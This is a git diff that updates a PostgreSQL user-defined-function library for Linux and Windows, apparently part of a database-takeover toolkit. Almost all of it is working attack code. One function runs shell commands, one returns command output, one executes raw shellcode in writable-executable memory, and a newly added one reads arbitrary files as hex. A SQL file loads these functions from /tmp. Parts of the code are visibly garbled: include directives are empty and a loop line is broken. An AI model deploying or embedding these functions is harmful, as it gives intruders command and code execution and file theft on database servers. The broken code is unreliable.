diff --git a/extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c b/extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c index c269c5421..0123784f9 100755 --- a/extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c +++ b/extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c @@ -1,207 +1,273 @@ -/* - lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2009 Bernardo Damele A. G. - web: http://bernardodamele.blogspot.com/ - email: bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -#define _USE_32BIT_TIME_T -#define DLLEXP __declspec(dllexport) -#define BUILDING_DLL 1 -#else -#define DLLEXP -#include -#include -#include -#include -#endif - -#include -#include -#include -#include - -#include - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter); -#endif - -#ifdef PG_MODULE_MAGIC -PG_MODULE_MAGIC; -#endif - -PG_FUNCTION_INFO_V1(sys_exec); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - int32 argv0_size; - int32 result = 0; - char *command; - - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)malloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; - - /* - Only if you want to log - elog(NOTICE, "Command execution: %s", command); - */ - - result = system(command); - free(command); - - PG_FREE_IF_COPY(argv0, 0); - PG_RETURN_INT32(result); -} - -PG_FUNCTION_INFO_V1(sys_eval); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - text *result_text; - int32 argv0_size; - char *command; - char *result; - FILE *pipe; - char line[1024]; - int32 outlen, linelen; - - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)malloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; - - /* - Only if you want to log - elog(NOTICE, "Command evaluated: %s", command); - */ - - result = (char *)malloc(1); - outlen = 0; - - pipe = popen(command, "r"); - - while (fgets(line, sizeof(line), pipe) != NULL) { - linelen = strlen(line); - result = (char *)realloc(result, outlen + linelen); - strncpy(result + outlen, line, linelen); - outlen = outlen + linelen; - } - - pclose(pipe); - - if (*result) { - result[outlen-1] = 0x00; - } - - result_text = (text *)malloc(VARHDRSZ + strlen(result)); -#ifdef SET_VARSIZE - SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); -#else - VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; -#endif - memcpy(VARDATA(result_text), result, strlen(result)); - - PG_RETURN_POINTER(result_text); -} - -PG_FUNCTION_INFO_V1(sys_bineval); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - int32 argv0_size; - size_t len; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - int pID; - char *code; -#else - int *addr; - size_t page_size; - pid_t pID; -#endif - - argv0_size = VARSIZE(argv0) - VARHDRSZ; - len = (size_t)argv0_size; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - // allocate a +rwx memory page - code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - strncpy(code, VARDATA(argv0), len); - - WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); -#else - pID = fork(); - if(pID<0) - PG_RETURN_INT32(1); - - if(pID==0) - { - page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size - page_size = (len+page_size) & ~(page_size); // align to page boundary - - // mmap an rwx memory page - addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); - - if (addr == MAP_FAILED) - PG_RETURN_INT32(1); - - strncpy((char *)addr, VARDATA(argv0), len); - - ((void (*)(void))addr)(); - } - - if(pID>0) - waitpid(pID, 0, WNOHANG); -#endif - - PG_RETURN_INT32(0); -} - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __asm - { - mov eax, [lpParameter] - call eax - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - - } - - return 0; -} -#endif +/* + lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2009 Bernardo Damele A. G. + web: http://bernardodamele.blogspot.com/ + email: bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +#define _USE_32BIT_TIME_T +#define DLLEXP __declspec(dllexport) +#define BUILDING_DLL 1 +#else +#define DLLEXP +#include +#include +#include +#include +#endif + +#include +#include +#include +#include + +#include + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + +#ifdef PG_MODULE_MAGIC +PG_MODULE_MAGIC; +#endif + +PG_FUNCTION_INFO_V1(sys_exec); +#ifdef PGDLLIMPORT +extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { +#else +extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { +#endif + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + int32 result = 0; + char *command; + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + command = (char *)malloc(argv0_size + 1); + + memcpy(command, VARDATA(argv0), argv0_size); + command[argv0_size] = '\0'; + + /* + Only if you want to log + elog(NOTICE, "Command execution: %s", command); + */ + + result = system(command); + free(command); + + PG_FREE_IF_COPY(argv0, 0); + PG_RETURN_INT32(result); +} + +PG_FUNCTION_INFO_V1(sys_eval); +#ifdef PGDLLIMPORT +extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { +#else +extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { +#endif + text *argv0 = PG_GETARG_TEXT_P(0); + text *result_text; + int32 argv0_size; + char *command; + char *result; + FILE *pipe; + char line[1024]; + int32 outlen, linelen; + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + command = (char *)malloc(argv0_size + 1); + + memcpy(command, VARDATA(argv0), argv0_size); + command[argv0_size] = '\0'; + + /* + Only if you want to log + elog(NOTICE, "Command evaluated: %s", command); + */ + + result = (char *)malloc(1); + outlen = 0; + + pipe = popen(command, "r"); + + while (fgets(line, sizeof(line), pipe) != NULL) { + linelen = strlen(line); + result = (char *)realloc(result, outlen + linelen); + strncpy(result + outlen, line, linelen); + outlen = outlen + linelen; + } + + pclose(pipe); + + if (*result) { + result[outlen-1] = 0x00; + } + + result_text = (text *)malloc(VARHDRSZ + strlen(result)); +#ifdef SET_VARSIZE + SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); +#else + VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; +#endif + memcpy(VARDATA(result_text), result, strlen(result)); + + PG_RETURN_POINTER(result_text); +} + +PG_FUNCTION_INFO_V1(sys_bineval); +#ifdef PGDLLIMPORT +extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { +#else +extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { +#endif + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, VARDATA(argv0), len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + PG_RETURN_INT32(1); + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + PG_RETURN_INT32(1); + + strncpy((char *)addr, VARDATA(argv0), len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + PG_RETURN_INT32(0); +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif + +PG_FUNCTION_INFO_V1(sys_fileread); +#ifdef PGDLLIMPORT +extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { +#else +extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { +#endif + text *argv0 = PG_GETARG_TEXT_P(0); + text *result_text; + int32 argv0_size; + int32 len; + int32 i, j; + char *filename; + char *result; + char *buffer; + char table[] = "0123456789ABCDEF"; + FILE *file; + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + filename = (char *)malloc(argv0_size + 1); + + memcpy(filename, VARDATA(argv0), argv0_size); + filename[argv0_size] = '\0'; + + file = fopen(filename, "rb"); + if (!file) + { + PG_RETURN_POINTER(NULL); + } + + fseek(file, 0, SEEK_END); + len = ftell(file); + fseek(file, 0, SEEK_SET); + + buffer=(char *)malloc(len + 1); + if (!buffer) + { + fclose(file); + PG_RETURN_POINTER(NULL); + } + + fread(buffer, len, 1, file); + fclose(file); + + result = (char *)malloc(2*len + 1); + for (i=0, j=0; i> 4) & 0x0f]; + result[j++] = table[ buffer[i] & 0x0f]; + } + result[j] = '\0'; + + result_text = (text *)malloc(VARHDRSZ + strlen(result)); +#ifdef SET_VARSIZE + SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); +#else + VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; +#endif + memcpy(VARDATA(result_text), result, strlen(result)); + + free(result); + free(buffer); + free(filename); + + PG_RETURN_POINTER(result_text); +} diff --git a/extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.sql b/extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.sql index 4094348af..ab2eb334b 100644 --- a/extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.sql +++ b/extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.sql @@ -22,3 +22,4 @@ CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; diff --git a/extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c b/extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c index c269c5421..0123784f9 100755 --- a/extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c +++ b/extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c @@ -1,207 +1,273 @@ -/* - lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2009 Bernardo Damele A. G. - web: http://bernardodamele.blogspot.com/ - email: bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -#define _USE_32BIT_TIME_T -#define DLLEXP __declspec(dllexport) -#define BUILDING_DLL 1 -#else -#define DLLEXP -#include -#include -#include -#include -#endif - -#include -#include -#include -#include - -#include - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter); -#endif - -#ifdef PG_MODULE_MAGIC -PG_MODULE_MAGIC; -#endif - -PG_FUNCTION_INFO_V1(sys_exec); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - int32 argv0_size; - int32 result = 0; - char *command; - - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)malloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; - - /* - Only if you want to log - elog(NOTICE, "Command execution: %s", command); - */ - - result = system(command); - free(command); - - PG_FREE_IF_COPY(argv0, 0); - PG_RETURN_INT32(result); -} - -PG_FUNCTION_INFO_V1(sys_eval); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - text *result_text; - int32 argv0_size; - char *command; - char *result; - FILE *pipe; - char line[1024]; - int32 outlen, linelen; - - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)malloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; - - /* - Only if you want to log - elog(NOTICE, "Command evaluated: %s", command); - */ - - result = (char *)malloc(1); - outlen = 0; - - pipe = popen(command, "r"); - - while (fgets(line, sizeof(line), pipe) != NULL) { - linelen = strlen(line); - result = (char *)realloc(result, outlen + linelen); - strncpy(result + outlen, line, linelen); - outlen = outlen + linelen; - } - - pclose(pipe); - - if (*result) { - result[outlen-1] = 0x00; - } - - result_text = (text *)malloc(VARHDRSZ + strlen(result)); -#ifdef SET_VARSIZE - SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); -#else - VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; -#endif - memcpy(VARDATA(result_text), result, strlen(result)); - - PG_RETURN_POINTER(result_text); -} - -PG_FUNCTION_INFO_V1(sys_bineval); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - int32 argv0_size; - size_t len; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - int pID; - char *code; -#else - int *addr; - size_t page_size; - pid_t pID; -#endif - - argv0_size = VARSIZE(argv0) - VARHDRSZ; - len = (size_t)argv0_size; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - // allocate a +rwx memory page - code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - strncpy(code, VARDATA(argv0), len); - - WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); -#else - pID = fork(); - if(pID<0) - PG_RETURN_INT32(1); - - if(pID==0) - { - page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size - page_size = (len+page_size) & ~(page_size); // align to page boundary - - // mmap an rwx memory page - addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); - - if (addr == MAP_FAILED) - PG_RETURN_INT32(1); - - strncpy((char *)addr, VARDATA(argv0), len); - - ((void (*)(void))addr)(); - } - - if(pID>0) - waitpid(pID, 0, WNOHANG); -#endif - - PG_RETURN_INT32(0); -} - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __asm - { - mov eax, [lpParameter] - call eax - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - - } - - return 0; -} -#endif +/* + lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2009 Bernardo Damele A. G. + web: http://bernardodamele.blogspot.com/ + email: bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +#define _USE_32BIT_TIME_T +#define DLLEXP __declspec(dllexport) +#define BUILDING_DLL 1 +#else +#define DLLEXP +#include +#include +#include +#include +#endif + +#include +#include +#include +#include + +#include + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + +#ifdef PG_MODULE_MAGIC +PG_MODULE_MAGIC; +#endif + +PG_FUNCTION_INFO_V1(sys_exec); +#ifdef PGDLLIMPORT +extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { +#else +extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { +#endif + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + int32 result = 0; + char *command; + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + command = (char *)malloc(argv0_size + 1); + + memcpy(command, VARDATA(argv0), argv0_size); + command[argv0_size] = '\0'; + + /* + Only if you want to log + elog(NOTICE, "Command execution: %s", command); + */ + + result = system(command); + free(command); + + PG_FREE_IF_COPY(argv0, 0); + PG_RETURN_INT32(result); +} + +PG_FUNCTION_INFO_V1(sys_eval); +#ifdef PGDLLIMPORT +extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { +#else +extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { +#endif + text *argv0 = PG_GETARG_TEXT_P(0); + text *result_text; + int32 argv0_size; + char *command; + char *result; + FILE *pipe; + char line[1024]; + int32 outlen, linelen; + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + command = (char *)malloc(argv0_size + 1); + + memcpy(command, VARDATA(argv0), argv0_size); + command[argv0_size] = '\0'; + + /* + Only if you want to log + elog(NOTICE, "Command evaluated: %s", command); + */ + + result = (char *)malloc(1); + outlen = 0; + + pipe = popen(command, "r"); + + while (fgets(line, sizeof(line), pipe) != NULL) { + linelen = strlen(line); + result = (char *)realloc(result, outlen + linelen); + strncpy(result + outlen, line, linelen); + outlen = outlen + linelen; + } + + pclose(pipe); + + if (*result) { + result[outlen-1] = 0x00; + } + + result_text = (text *)malloc(VARHDRSZ + strlen(result)); +#ifdef SET_VARSIZE + SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); +#else + VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; +#endif + memcpy(VARDATA(result_text), result, strlen(result)); + + PG_RETURN_POINTER(result_text); +} + +PG_FUNCTION_INFO_V1(sys_bineval); +#ifdef PGDLLIMPORT +extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { +#else +extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { +#endif + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, VARDATA(argv0), len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + PG_RETURN_INT32(1); + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + PG_RETURN_INT32(1); + + strncpy((char *)addr, VARDATA(argv0), len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + PG_RETURN_INT32(0); +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif + +PG_FUNCTION_INFO_V1(sys_fileread); +#ifdef PGDLLIMPORT +extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { +#else +extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { +#endif + text *argv0 = PG_GETARG_TEXT_P(0); + text *result_text; + int32 argv0_size; + int32 len; + int32 i, j; + char *filename; + char *result; + char *buffer; + char table[] = "0123456789ABCDEF"; + FILE *file; + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + filename = (char *)malloc(argv0_size + 1); + + memcpy(filename, VARDATA(argv0), argv0_size); + filename[argv0_size] = '\0'; + + file = fopen(filename, "rb"); + if (!file) + { + PG_RETURN_POINTER(NULL); + } + + fseek(file, 0, SEEK_END); + len = ftell(file); + fseek(file, 0, SEEK_SET); + + buffer=(char *)malloc(len + 1); + if (!buffer) + { + fclose(file); + PG_RETURN_POINTER(NULL); + } + + fread(buffer, len, 1, file); + fclose(file); + + result = (char *)malloc(2*len + 1); + for (i=0, j=0; i> 4) & 0x0f]; + result[j++] = table[ buffer[i] & 0x0f]; + } + result[j] = '\0'; + + result_text = (text *)malloc(VARHDRSZ + strlen(result)); +#ifdef SET_VARSIZE + SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); +#else + VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; +#endif + memcpy(VARDATA(result_text), result, strlen(result)); + + free(result); + free(buffer); + free(filename); + + PG_RETURN_POINTER(result_text); +}